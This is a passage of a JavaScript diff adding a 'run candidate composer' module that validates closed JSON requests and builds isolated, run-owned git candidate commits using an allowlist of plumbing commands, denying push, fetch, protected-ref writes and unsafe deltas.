DENIED_OPERATIONS, + GIT_AUTHORITY_POLICY_V1, + GIT_AUTHORITY_SCHEMA_ID, + GIT_AUTHORITY_VERSION, + bindAuthorityIdentityV1, + classifyGitOperationV1, + expectedCandidateRefV1, + isRunOwnedCandidateRefV1, + parseGitAuthorityPolicyV1, +} from './git-authority.mjs'; +import { + GIT_CLOSED_ENV, + GIT_EXECUTABLE, + MAX_GIT_ARG_BYTES, + MAX_GIT_ARGS, + MAX_GIT_TIME_MS, +} from './git-identity.mjs'; +import { + capturedFreeze, + capturedHasOwn, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + capturedTest, + capturedUtf8ByteLength, + requiredAccessForRole, +} from './grammar.mjs'; +import { canonicalJsonStringify } from './identity.mjs'; +import { auditProtectedRefsV1 } from './protected-ref-audit.mjs'; +import { + compiledRepoGlobMatchesPath, + compileRepoGlob, +} from './repo-path-matcher.mjs'; +import { + RunContractV1Error, + SCOPE_MAX_PATTERNS, + assertBaseSha, + assertRepositoryPath, + assertRunId, + assertWriteScopePatterns, + isAssignmentId, + isSha40, +} from './run-manifest.mjs'; +import { + assertDirectJsonClosure, + assertNotProxy, + assertPlainObject, + fail, + freezeData, + hasOwn, + optOwn, + ownDataValue, +} from './selection-json.mjs'; + +export const RUN_CANDIDATE_COMPOSER_SCHEMA_ID = 'codex-co-engineer.run-candidate-composer.v1'; +export const RUN_CANDIDATE_COMPOSER_VERSION = 1; +export const RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID = + 'codex-co-engineer.run-candidate-composer-receipt.v1'; + +export const MAX_COMPOSER_OBJECT_KEYS = 32; +export const MAX_COMPOSER_KEY_BYTES = 128; +export const MAX_COMPOSER_LANES = 8; +export const MAX_COMPOSER_GIT_COMMANDS = 48; +export const MAX_COMPOSER_OUTPUT_BYTES = 262_144; +export const MAX_COMPOSER_TOTAL_TIME_MS = 30_000; +export const MODE_FILE = '100644'; +export const MODE_EXEC = '100755'; +export const MODE_SYMLINK = '120000'; +export const MODE_GITLINK = '160000'; +export const MODE_MISSING = '000000'; +export const ZERO_SHA = '0'.repeat(40); +export const CANDIDATE_COMMIT_MESSAGE = 'codex-co-engineer run-owned candidate'; +export const CANDIDATE_AUTHOR_NAME = 'codex-co-engineer'; +export const CANDIDATE_AUTHOR_EMAIL = 'codex-co-engineer@local'; +export const CANDIDATE_AUTHOR_DATE = '1970-01-01T00:00:00Z'; + +export const COMPOSER_STATUSES = capturedFreeze([ + 'blocked', 'composed', 'incomplete_candidate', +]); +export const LANE_STATES = capturedFreeze([ + 'missing', 'rejected', 'unresolved', 'verified', +]); +export const LANE_KINDS = capturedFreeze(['optional_advisory', 'required_writer']); +export const BLOCKING_LANE_STATES = capturedFreeze(['missing', 'rejected', 'unresolved']); +export const COMPOSER_CHECKS = capturedFreeze([ + 'request_quarantine', + 'p28_authority_policy', + 'candidate_ref_namespace', + 'one_parent_base', + 'binary_safe_manifest_order', + 'path_ownership_revalidation', + 'delta_git_policy', + 'no_conflict_repair', + 'p30_protected_ref_audit', + 'remote_mutation_denied', + 'diagnostic_partial_never_ready', + 'codex_only_final_acceptance', +]); +export const COMPOSER_SIDE_EFFECT_NONCLAIMS = capturedFreeze([ + 'config_mutated', + 'credentials_accessed', + 'default_branch_mutated', + 'head_mutated', + 'index_mutated', + 'integrated', + 'merge_performed', + 'pr_created', + 'protected_ref_mutated', + 'push_performed', + 'rebase_performed', + 'release_created', + 'remote_mutated', + 'tag_created', + 'worktree_mutated', +]); +export const GIT_MUTATION_COMMANDS = capturedFreeze([ + 'commit-tree', 'read-tree', 'update-index', 'update-ref', 'write-tree', +]); +export const GIT_INSPECT_COMMANDS = capturedFreeze([ + 'cat-file', 'diff-tree', 'merge-base', 'rev-list', 'rev-parse', + 'show-ref', 'symbolic-ref', +]); +export const GIT_ALLOWED_COMMANDS = capturedFreeze([ + ...GIT_INSPECT_COMMANDS, ...GIT_MUTATION_COMMANDS, +]); + +export const REQUEST_ALLOWED_KEYS = capturedFreeze([ + 'allow_diagnostic_partial_candidate', 'expected_base_ref', + 'expected_protected_refs', 'identity', 'lanes', 'schema', 'version', +]); +export const REQUEST_REQUIRED_KEYS = capturedFreeze([ + 'expected_base_ref', 'expected_protected_refs', 'identity', 'lanes', + 'schema', 'version', +]); +export const IDENTITY_ALLOWED_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'repository_path', 'run_id', +]); +export const IDENTITY_REQUIRED_KEYS = IDENTITY_ALLOWED_KEYS; +export const LANE_ALLOWED_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'head_sha', 'role', 'state', 'write_scope', +]); +export const LANE_REQUIRED_KEYS = capturedFreeze([ + 'access', 'assignment_id', 'role', 'state', 'write_scope', +]); +export const EXPECTED_REF_ALLOWED_KEYS = capturedFreeze(['ref', 'sha']); +export const OPTIONS_ALLOWED_KEYS = capturedFreeze(['auditProtectedRefs', 'spawn']); +export const LANE_RESULT_KEYS = capturedFreeze([ + 'applied', 'assignment_id', 'head_sha', 'kind', 'path_count', 'state', 'write_scope', +]); +export const RECEIPT_KEYS = capturedFreeze([ + 'allow_diagnostic_partial_candidate', 'applied_assignment_ids', + 'assignment_id', 'base_sha', 'blocked_assignment_ids', 'candidate_ref', + 'candidate_sha', 'checks', 'discrepancies', 'facts', 'idempotent', + 'incomplete', 'lanes', 'parent_count', 'parent_sha', + 'ready_for_codex_review', 'run_id', 'schema', 'side_effects', 'status', + 'version', +]); + +export const RUN_CANDIDATE_COMPOSER_ERROR_CODES = capturedFreeze([ + 'accessor_property_denied', 'aliased_reference_denied', 'bounds_exceeded', + 'conflict_unresolved', 'delta_policy_denied', 'exotic_prototype_denied', + 'git_execution_failed', 'invalid_format', 'invalid_type', 'missing_key', + 'non_enumerable_property_denied', 'out_of_range', 'own_undefined_denied', + 'path_ownership_denied', 'protected_ref_write_denied', 'proxy_denied', + 'remote_mutation_denied', 'symbol_key_denied', 'unknown_key', + 'unverified_delta_denied', 'value_depth_exceeded', +]); + +const DEFINE = Object.defineProperty; +const IS_INT = Number.isSafeInteger; +const STRING = String; +const BYTE_LENGTH = NodeBuffer.byteLength.bind(NodeBuffer); +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const BUFFER_CONCAT = NodeBuffer.concat.bind(NodeBuffer); +const BUFFER_IS_BUFFER = NodeBuffer.isBuffer.bind(NodeBuffer); +const IS_ARRAY = capturedIsArray; +const OWN_KEYS = capturedOwnKeys; +const SET_CTOR = Set; +const HASH = createHash; +const HASH_DIGEST = Object.getPrototypeOf(HASH('sha256')).digest; +const HASH_UPDATE = Object.getPrototypeOf(HASH('sha256')).update; +const IS_PROXY = utilTypes.isProxy; +const PATH_JOIN = path.join; +const SPAWN = nodeSpawn; +const MATH_MIN = Math.min; +const MATH_MAX = Math.max; +const MATH_FLOOR = Math.floor; +const BASE_REF_PATTERN = /^refs\/heads\/[A-Za-z0-9][A-Za-z0-9._-]{0,63}$/u; +const SHA256_PATTERN = /^[0-9a-f]{64}$/u; +const MODE_PATTERN = /^(?:000000|100644|100755|120000|160000)$/u; +const STATUS_PATTERN = /^[A-Z][0-9]{0,3}$/u; + +const GIT_ISOLATION_FLAGS = capturedFreeze([ + '--no-replace-objects', + '--no-optional-locks', + '--literal-pathspecs', + '-c', 'core.useReplaceRefs=false', + '-c', 'core.hooksPath=/dev/null', + '-c', 'gc.auto=0', + '-c', 'advice.detachedHead=false', + '-c', 'log.showSignature=false', + '-c', 'core.fsmonitor=', + '-c', 'core.useBuiltinFSMonitor=false', + '-c', 'core.untrackedCache=false', +]); + +const COMMIT_ENV = capturedFreeze({ + GIT_AUTHOR_NAME: CANDIDATE_AUTHOR_NAME, + GIT_AUTHOR_EMAIL: CANDIDATE_AUTHOR_EMAIL, + GIT_AUTHOR_DATE: CANDIDATE_AUTHOR_DATE, + GIT_COMMITTER_NAME: CANDIDATE_AUTHOR_NAME, + GIT_COMMITTER_EMAIL: CANDIDATE_AUTHOR_EMAIL, + GIT_COMMITTER_DATE: CANDIDATE_AUTHOR_DATE, +}); + +const MSG = capturedFreeze({ + accessor_property_denied: 'RunCandidateComposerV1 denies accessor inputs.', + aliased_reference_denied: 'RunCandidateComposerV1 denies aliased inputs.', + bounds_exceeded: 'RunCandidateComposerV1 exceeded a closed composition bound.', + conflict_unresolved: 'RunCandidateComposerV1 never repairs overlapping or conflicting deltas.', + delta_policy_denied: 'RunCandidateComposerV1 rejects symlink, submodule, rename, copy, or mode-change deltas.', + exotic_prototype_denied: 'RunCandidateComposerV1 denies exotic prototypes.', + git_execution_failed: 'RunCandidateComposerV1 could not complete a git composition step.', + invalid_format: 'RunCandidateComposerV1 rejected a value that violates a closed grammar.', + invalid_type: 'RunCandidateComposerV1 rejected a non-JSON composition value.', + missing_key: 'RunCandidateComposerV1 requires every canonical composition key.', + non_enumerable_property_denied: 'RunCandidateComposerV1 denies non-enumerable properties.', + out_of_range: 'RunCandidateComposerV1 rejected a value outside closed bounds.', + own_undefined_denied: 'RunCandidateComposerV1 denies own undefined values.', + path_ownership_denied: 'RunCandidateComposerV1 rejected a delta path outside the lane write scope.', + protected_ref_write_denied: 'RunCandidateComposerV1 denies writes to protected or default refs.', + proxy_denied: 'RunCandidateComposerV1 denies Proxy inputs.', + remote_mutation_denied: 'RunCandidateComposerV1 denies push, fetch, and remote mutation.', + symbol_key_denied: 'RunCandidateComposerV1 denies symbol keys.', + unknown_key: 'RunCandidateComposerV1 rejects keys outside the closed vocabulary.', + unverified_delta_denied: 'RunCandidateComposerV1 composes only frozen verified writer deltas.', + value_depth_exceeded: 'RunCandidateComposerV1 rejected nested input that exceeds closed depth.', +}); + +function deny(code, pathLabel) { + fail(code, pathLabel, MSG[code] ?? MSG.invalid_format); +} + +function publicCode(error) { + if (error instanceof RunContractV1Error + && capturedIncludes(RUN_CANDIDATE_COMPOSER_ERROR_CODES, error.code)) { + return error.code; + } + return 'invalid_type'; +} + +function remap(error, pathLabel) { + deny(publicCode(error), pathLabel); +} + +function freezeRecord(keys, values) { + const snapshot = {}; + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (!Object.hasOwn(values, key)) continue; + DEFINE(snapshot, key, { + value: values[key], enumerable: true, writable: false, configurable: false, + }); + } + return capturedFreeze(snapshot); +} + +function assertClosedObject(input, allowed, pathLabel) { + if (input === undefined || input === null) deny('invalid_type', pathLabel); + if (typeof input === 'object' || typeof input === 'function') { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + } + if (typeof input !== 'object') deny('invalid_type', pathLabel); + try { + assertPlainObject(input, 'invalid_type', pathLabel, pathLabel); + } catch (error) { remap(error, pathLabel); } + let keys; + try { keys = OWN_KEYS(input); } catch { deny('invalid_type', pathLabel); } + if (keys.length > MAX_COMPOSER_OBJECT_KEYS) deny('out_of_range', pathLabel); + const allowedSet = new SET_CTOR(allowed); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (typeof key !== 'string' || BYTE_LENGTH(key, 'utf8') > MAX_COMPOSER_KEY_BYTES) { + deny('out_of_range', pathLabel); + } + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + try { assertDirectJsonClosure(input, pathLabel); } catch (error) { remap(error, pathLabel); } + return input; +} + +function requireKeys(input, keys, pathLabel) { + for (let i = 0; i < keys.length; i += 1) { + if (!hasOwn(input, keys[i])) deny('missing_key', pathLabel); + } +} + +function ownString(input, key, pathLabel) { + const value = ownDataValue(input, key, pathLabel); + if (typeof value !== 'string') deny('invalid_type', pathLabel); + return value; +} + +function digestOf(value) { + const hash = HASH('sha256'); + HASH_UPDATE.call(hash, canonicalJsonStringify(value)); + return HASH_DIGEST.call(hash, 'hex'); +} + +function gitCommandOf(args) { + for (let index = 0; index < args.length; index += 1) { + const arg = args[index]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c' || arg === '--namespace') { + index += 1; + continue; + } + if (typeof arg === 'string' && !arg.startsWith('-')) return arg; + } + return undefined; +} + +function assertGitArgv(args, pathLabel) { + if (!IS_ARRAY(args) || args.length === 0 || args.length > MAX_GIT_ARGS + GIT_ISOLATION_FLAGS.length + 4) { + deny('bounds_exceeded', pathLabel); + } + for (let i = 0; i < args.length; i += 1) { + const arg = args[i]; + if (typeof arg !== 'string' || BYTE_LENGTH(arg, 'utf8') > MAX_GIT_ARG_BYTES) { + deny('bounds_exceeded', pathLabel); + } + if (arg.includes('\0')) deny('invalid_format', pathLabel); + } + const command = gitCommandOf(args); + if (!capturedIncludes(GIT_ALLOWED_COMMANDS, command)) deny('remote_mutation_denied', pathLabel); + if (capturedIncludes(DENIED_OPERATIONS, command) || command === 'push' || command === 'fetch') { + deny('remote_mutation_denied', pathLabel); + } +} + +function assertClosedEnv(env, pathLabel) { + try { assertNotProxy(env, pathLabel); } catch (error) { remap(error, pathLabel); } + const keys = OWN_KEYS(env); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key !== 'string') deny('symbol_key_denied', pathLabel); + const value = env[key]; + if (typeof value !== 'string') deny('invalid_type', pathLabel); + } +} + +function createSession(spawnFn) { + const startedAt = Date.now(); + return { + spawn: spawnFn, + commands: 0, + startedAt, + deadlineAt: startedAt + MAX_COMPOSER_TOTAL_TIME_MS, + }; +} + +function remainingMs(session) { + return MATH_MAX(0, session.deadlineAt - Date.now()); +} + +function ownedChunk(chunk, pathLabel) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + deny('git_execution_failed', pathLabel); +} + +function runGit(session, args, pathLabel, extra = {}) { + assertGitArgv(args, pathLabel); + if (session.commands >= MAX_COMPOSER_GIT_COMMANDS) deny('bounds_exceeded', pathLabel); + const budget = remainingMs(session); + if (budget <= 0) deny('bounds_exceeded', pathLabel); + session.commands += 1; + const env = extra.env === undefined ? GIT_CLOSED_ENV : extra.env; + assertClosedEnv(env, pathLabel); + const stdinBytes = extra.stdin; + if (stdinBytes !== undefined && !BUFFER_IS_BUFFER(stdinBytes)) deny('invalid_type', pathLabel); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, [...GIT_ISOLATION_FLAGS, ...args], { + cwd: '/', + env, + stdio: [stdinBytes === undefined ? 'ignore' : 'pipe', 'pipe', 'pipe'], + windowsHide: true, + }); + } catch { + reject(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + if (child === null || (typeof child !== 'object' && typeof child !== 'function') || IS_PROXY(child)) { + reject(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let settled = false; + let exceeded = false; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(error); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error('bounds_exceeded', pathLabel, MSG.bounds_exceeded)); + }; + const timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onOut = (chunk) => { + try { + const owned = ownedChunk(chunk, pathLabel); + stdoutBytes += owned.length; + if (stdoutBytes > MAX_COMPOSER_OUTPUT_BYTES) { + exceed(); + return; + } + stdoutChunks.push(owned); + } catch (error) { + finish(error instanceof RunContractV1Error + ? error + : new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + } + }; + const onErr = (chunk) => { + try { + const owned = ownedChunk(chunk, pathLabel); + if (owned.length > MAX_COMPOSER_OUTPUT_BYTES) exceed(); + else stderrChunks.push(owned); + } catch { + exceed(); + } + }; + try { + if (child.stdout) child.stdout.on('data', onOut); + if (child.stderr) child.stderr.on('data', onErr); + child.once('error', () => { + finish(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + if (signal !== null && signal !== undefined) { + finish(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: BUFFER_CONCAT(stdoutChunks), + stderr: BUFFER_CONCAT(stderrChunks), + }); + }); + if (stdinBytes !== undefined && child.stdin) { + child.stdin.on('error', () => {}); + child.stdin.end(stdinBytes); + } + } catch { + finish(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + } + }); +} + +function repoArgs(repositoryPath, args) { + return ['-C', repositoryPath, ...args]; +} + +function indexEnv(indexPath) { + return capturedFreeze({ + ...GIT_CLOSED_ENV, + GIT_INDEX_FILE: indexPath, + ...COMMIT_ENV, + }); +} + +function commitEnv() { + return capturedFreeze({ ...GIT_CLOSED_ENV, ...COMMIT_ENV }); +} + +function oneLine(buffer, pathLabel, pattern) { + const text = buffer.toString('utf8'); + const line = text.endsWith('\n') ? text.slice(0, -1) : text; + if (line.includes('\n') || (pattern !== undefined && !capturedTest(pattern, line))) { + deny('git_execution_failed', pathLabel); + } + return line; +} + +function parseUtf8Path(bytes, pathLabel) { + const text = bytes.toString('utf8'); + if (BUFFER_FROM(text, 'utf8').length !== bytes.length) deny('delta_policy_denied', pathLabel); + if (text.length === 0 || text.startsWith('/') || text.includes('\0') || text.includes('\\')) { + deny('delta_policy_denied', pathLabel); + } + const segments = text.split('/'); + for (let i = 0; i < segments.length; i += 1) { + const segment = segments[i]; + if (segment.length === 0 || segment === '.' || segment === '..') deny('delta_policy_denied', pathLabel); + } + if (text.normalize('NFC') !== text) deny('delta_policy_denied', pathLabel); + return text; +} + +function splitNul(buffer) { + const parts = []; + let start = 0; + for (let i = 0; i < buffer.length; i += 1) { + if (buffer[i] === 0) { + parts.push(buffer.subarray(start, i)); + start = i + 1; + } + } + if (start < buffer.length) parts.push(buffer.subarray(start)); + return parts; +} + +function parseDiffTree(buffer, pathLabel) { + if (buffer.length === 0) { + return { records: [], paths: [], rename: false, copy: false }; + } + const parts = splitNul(buffer); + const records = []; + const paths = []; + const seen = new SET_CTOR(); + let rename = false; + let copy = false; + let index = 0; + while (index < parts.length) { + const headerBytes = parts[index]; + index += 1; + if (headerBytes.length === 0) continue; + const header = headerBytes.toString('utf8'); + if (!header.startsWith(':')) deny('git_execution_failed', pathLabel); + const fields = header.slice(1).split(' '); + if (fields.length !== 5) deny('git_execution_failed', pathLabel); + const [oldMode, newMode, oldSha, newSha, status] = fields; + if (!capturedTest(MODE_PATTERN, oldMode) || !capturedTest(MODE_PATTERN, newMode)) { + deny('delta_policy_denied', pathLabel); + } + if ((oldSha !== ZERO_SHA && !isSha40(oldSha)) || (newSha !== ZERO_SHA && !isSha40(newSha))) { + deny('git_execution_failed', pathLabel); + } + if (!capturedTest(STATUS_PATTERN, status)) deny('delta_policy_denied', pathLabel); + const status0 = status.charAt(0); + if (status0 === 'R') rename = true; + if (status0 === 'C') copy = true; + if (index >= parts.length) deny('git_execution_failed', pathLabel); + const firstPath = parseUtf8Path(parts[index], pathLabel); + index += 1; + let secondPath; + if (status0 === 'R' || status0 === 'C') { + if (index >= parts.length) deny('git_execution_failed', pathLabel); + secondPath = parseUtf8Path(parts[index], pathLabel); + index += 1; + } + const changedPath = secondPath === undefined ? firstPath : secondPath; + if (seen.has(changedPath)) deny('conflict_unresolved', pathLabel); + seen.add(changedPath); + paths.push(changedPath); + records.push({ + old_mode: oldMode, + new_mode: newMode, + old_sha: oldSha, + new_sha: newSha, + status: status0, + path: changedPath, + }); + } + paths.sort((left, right) => (left < right ? -1 : left > right ? 1 : 0)); + return { records, paths, rename, copy }; +} + +function denyDeltaPolicy(record, pathLabel) { + if (record.status === 'R' || record.status === 'C' || record.status === 'T' + || record.status === 'U' || record.status === 'X' || record.status === 'B') { + deny('delta_policy_denied', pathLabel); + } + if (record.old_mode === MODE_SYMLINK || record.new_mode === MODE_SYMLINK) { + deny('delta_policy_denied', pathLabel); + } + if (record.old_mode === MODE_GITLINK || record.new_mode === MODE_GITLINK) { + deny('delta_policy_denied', pathLabel); + } + if (record.old_mode !== MODE_MISSING && record.new_mode !== MODE_MISSING + && record.old_mode !== record.new_mode) { + deny('delta_policy_denied', pathLabel); + } + if (record.new_mode !== MODE_MISSING && record.new_mode !== MODE_FILE) { + deny('delta_policy_denied', pathLabel); + } +} + +function pathOwned(pathValue, compiledScopes) { + for (let i = 0; i < compiledScopes.length; i += 1) { + if (compiledRepoGlobMatchesPath(compiledScopes[i], pathValue, 'path') === true) return true; + } + return false; +} + +function parseExpectedRefs(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!IS_ARRAY(input) || input.length < 1 || input.length > 16) deny('out_of_range', pathLabel); + const refs = []; + for (let i = 0; i < input.length; i += 1) { + const entryPath = `${pathLabel}[${i}]`; + const object = assertClosedObject(ownDataValue(input, STRING(i), entryPath), + EXPECTED_REF_ALLOWED_KEYS, entryPath); + requireKeys(object, EXPECTED_REF_ALLOWED_KEYS, entryPath); + const ref = ownString(object, 'ref', entryPath); + const sha = ownString(object, 'sha', entryPath); + if (!isSha40(sha)) deny('invalid_format', entryPath); + refs.push(freezeRecord(EXPECTED_REF_ALLOWED_KEYS, { ref, sha })); + } + return capturedFreeze(refs); +} + +function parseLane(input, pathLabel, seen) { + const object = assertClosedObject(input, LANE_ALLOWED_KEYS, pathLabel); + requireKeys(object, LANE_REQUIRED_KEYS, pathLabel); + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + if (seen.has(assignmentId)) deny('invalid_format', pathLabel); + seen.add(assignmentId); + const role = ownString(object, 'role', pathLabel); + const access = ownString(object, 'access', pathLabel); + let expectedAccess; + try { expectedAccess = requiredAccessForRole(role); } catch { deny('invalid_format', pathLabel); } + if (access !== expectedAccess) deny('invalid_format', pathLabel); + const state = ownString(object, 'state', pathLabel); + if (!capturedIncludes(LANE_STATES, state)) deny('invalid_format', pathLabel); + const kind = access === 'writer' ? 'required_writer' : 'optional_advisory'; + const minPatterns = access === 'writer' ? 1 : 0; + const maxPatterns = access === 'writer' ? SCOPE_MAX_PATTERNS : 0; + const writeScopeValue = ownDataValue(object, 'write_scope', pathLabel); + try { + assertWriteScopePatterns(writeScopeValue, `${pathLabel}.write_scope`, { minPatterns, maxPatterns }); + } catch (error) { remap(error, pathLabel); } + const writeScope = []; + for (let i = 0; i < writeScopeValue.length; i += 1) writeScope.push(writeScopeValue[i]); + const compiled = []; + for (let i = 0; i < writeScope.length; i += 1) { + compiled.push(compileRepoGlob(writeScope[i], `${pathLabel}.write_scope`)); + } + let headSha = null; + if (hasOwn(object, 'head_sha')) { + headSha = ownString(object, 'head_sha', pathLabel); + if (!isSha40(headSha)) deny('invalid_format', pathLabel); + } + if (kind === 'required_writer' && state === 'verified' && headSha === null) { + deny('missing_key', pathLabel); + } + if (state !== 'verified' && headSha !== null) deny('unverified_delta_denied', pathLabel); + return freezeRecord(capturedFreeze([ + ...LANE_ALLOWED_KEYS, 'compiled_write_scope', 'kind', + ]), { + assignment_id: assignmentId, + role, + access, + state, + write_scope: capturedFreeze([...writeScope]), + compiled_write_scope: capturedFreeze(compiled), + head_sha: headSha, + kind, + }); +} + +function parseLanes(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!IS_ARRAY(input) || input.length < 1 || input.length > MAX_COMPOSER_LANES) { + deny('out_of_range', pathLabel); + } + const seen = new SET_CTOR(); + const lanes = []; + for (let i = 0; i < input.length; i += 1) { + lanes.push(parseLane(ownDataValue(input, STRING(i), `${pathLabel}[${i}]`), `${pathLabel}[${i}]`, seen)); + } + return capturedFreeze(lanes); +} + +function parseIdentity(input, pathLabel) { + const object = assertClosedObject(input, IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(object, IDENTITY_REQUIRED_KEYS, pathLabel); + const repositoryPath = ownString(object, 'repository_path', pathLabel); + try { assertRepositoryPath(repositoryPath, pathLabel); } catch (error) { remap(error, pathLabel); } + const baseSha = ownString(object, 'base_sha', pathLabel); + try { assertBaseSha(baseSha, pathLabel); } catch (error) { remap(error, pathLabel); } + const runId = ownString(object, 'run_id', pathLabel); + try { assertRunId(runId, pathLabel); } catch (error) { remap(error, pathLabel); } + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + return freezeRecord(IDENTITY_ALLOWED_KEYS, { + repository_path: repositoryPath, + base_sha: baseSha, + run_id: runId, + assignment_id: assignmentId, + }); +} + +export function parseRunCandidateComposeRequestV1(input) { + const pathLabel = 'compose'; + const object = assertClosedObject(input, REQUEST_ALLOWED_KEYS, pathLabel); + requireKeys(object, REQUEST_REQUIRED_KEYS, pathLabel); + if (ownString(object, 'schema', pathLabel) !== RUN_CANDIDATE_COMPOSER_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + if (ownDataValue(object, 'version', pathLabel) !== RUN_CANDIDATE_COMPOSER_VERSION) { + deny('invalid_format', pathLabel); + } + const identity = parseIdentity(ownDataValue(object, 'identity', pathLabel), `${pathLabel}.identity`); + const expectedBaseRef = ownString(object, 'expected_base_ref', pathLabel); + if (!capturedTest(BASE_REF_PATTERN, expectedBaseRef)) deny('invalid_format', pathLabel); + const expectedProtectedRefs = parseExpectedRefs( + ownDataValue(object, 'expected_protected_refs', pathLabel), `${pathLabel}.expected_protected_refs`, + ); + const lanes = parseLanes(ownDataValue(object, 'lanes', pathLabel), `${pathLabel}.lanes`); + let allowDiagnostic = false; + if (hasOwn(object, 'allow_diagnostic_partial_candidate')) { + const flag = ownDataValue(object, 'allow_diagnostic_partial_candidate', pathLabel); + if (flag !== true && flag !== false) deny('invalid_type', pathLabel); + allowDiagnostic = flag === true; + } + return freezeRecord(capturedFreeze([ + ...REQUEST_ALLOWED_KEYS, 'candidate_ref', + ]), { + schema: RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + identity, + expected_base_ref: expectedBaseRef, + expected_protected_refs: expectedProtectedRefs, + lanes, + allow_diagnostic_partial_candidate: allowDiagnostic, + candidate_ref: expectedCandidateRefV1({ run_id: identity.run_id }), + }); +} + +function parseOptions(options, pathLabel = 'options') { + if (options === undefined) { + return freezeRecord(OPTIONS_ALLOWED_KEYS, { + spawn: SPAWN, auditProtectedRefs: auditProtectedRefsV1, + }); + } + try { assertNotProxy(options, pathLabel); } catch (error) { remap(error, pathLabel); } + try { assertPlainObject(options, 'invalid_type', pathLabel, pathLabel); } catch (error) { + remap(error, pathLabel); + } + let keys; + try { keys = OWN_KEYS(options); } catch { deny('invalid_type', pathLabel); } + const allowedSet = new SET_CTOR(OPTIONS_ALLOWED_KEYS); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function' || IS_PROXY(spawn)) deny('invalid_type', pathLabel); + } + let audit = auditProtectedRefsV1; + if (hasOwn(options, 'auditProtectedRefs')) { + audit = optOwn(options, 'auditProtectedRefs'); + if (typeof audit !== 'function' || IS_PROXY(audit)) deny('invalid_type', pathLabel); + } + return freezeRecord(OPTIONS_ALLOWED_KEYS, { spawn, auditProtectedRefs: audit }); +} + +function emptySideEffects() { + const values = {}; + for (let i = 0; i < COMPOSER_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[COMPOSER_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(COMPOSER_SIDE_EFFECT_NONCLAIMS, values); +} + +function classifyLanes(lanes) { + const applied = []; + const blocked = []; + const results = []; + for (let i = 0; i < lanes.length; i += 1) { + const lane = lanes[i]; + const blocking = lane.kind === 'required_writer' + && capturedIncludes(BLOCKING_LANE_STATES, lane.state); + if (blocking) blocked.push(lane.assignment_id); + const eligible = lane.kind === 'required_writer' && lane.state === 'verified'; + if (eligible) applied.push(lane); + results.push(freezeRecord(LANE_RESULT_KEYS, { + assignment_id: lane.assignment_id, + kind: lane.kind, + state: lane.state, + applied: false, + path_count: 0, + head_sha: lane.head_sha, + write_scope: lane.write_scope, + })); + } + return { applied, blocked, results }; +} + +async function assertCommit(session, repositoryPath, sha, pathLabel) { + const typeResult = await runGit( + session, repoArgs(repositoryPath, ['cat-file', '-t', '--', sha]), pathLabel, + ); + if (typeResult.exit_code !== 0 || oneLine(typeResult.stdout, pathLabel) !== 'commit') { + deny('unverified_delta_denied', pathLabel); + } +} + +async function assertAncestor(session, repositoryPath, baseSha, headSha, pathLabel) { + const result = await runGit( + session, + repoArgs(repositoryPath, ['merge-base', '--is-ancestor', '--', baseSha, headSha]), + pathLabel, + ); + if (result.exit_code !== 0) deny('unverified_delta_denied', pathLabel); +} + +async function observeDiff(session, repositoryPath, baseSha, headSha, pathLabel) { + const raw = await runGit(session, repoArgs(repositoryPath, [ + 'diff-tree', '--no-commit-id', '--raw', '--full-index', '-z', '-r', + '-M', '-C', '--find-copies-harder', '--end-of-options', baseSha, headSha, + ]), pathLabel); + if (raw.exit_code !== 0) deny('git_execution_failed', pathLabel); + return parseDiffTree(raw.stdout, pathLabel); +} + +function revalidateRecords(records, lane, appliedPaths, siblingScopes, pathLabel) { + if (records.rename === true || records.copy === true) deny('delta_policy_denied', pathLabel); + for (let i = 0; i < records.records.length; i 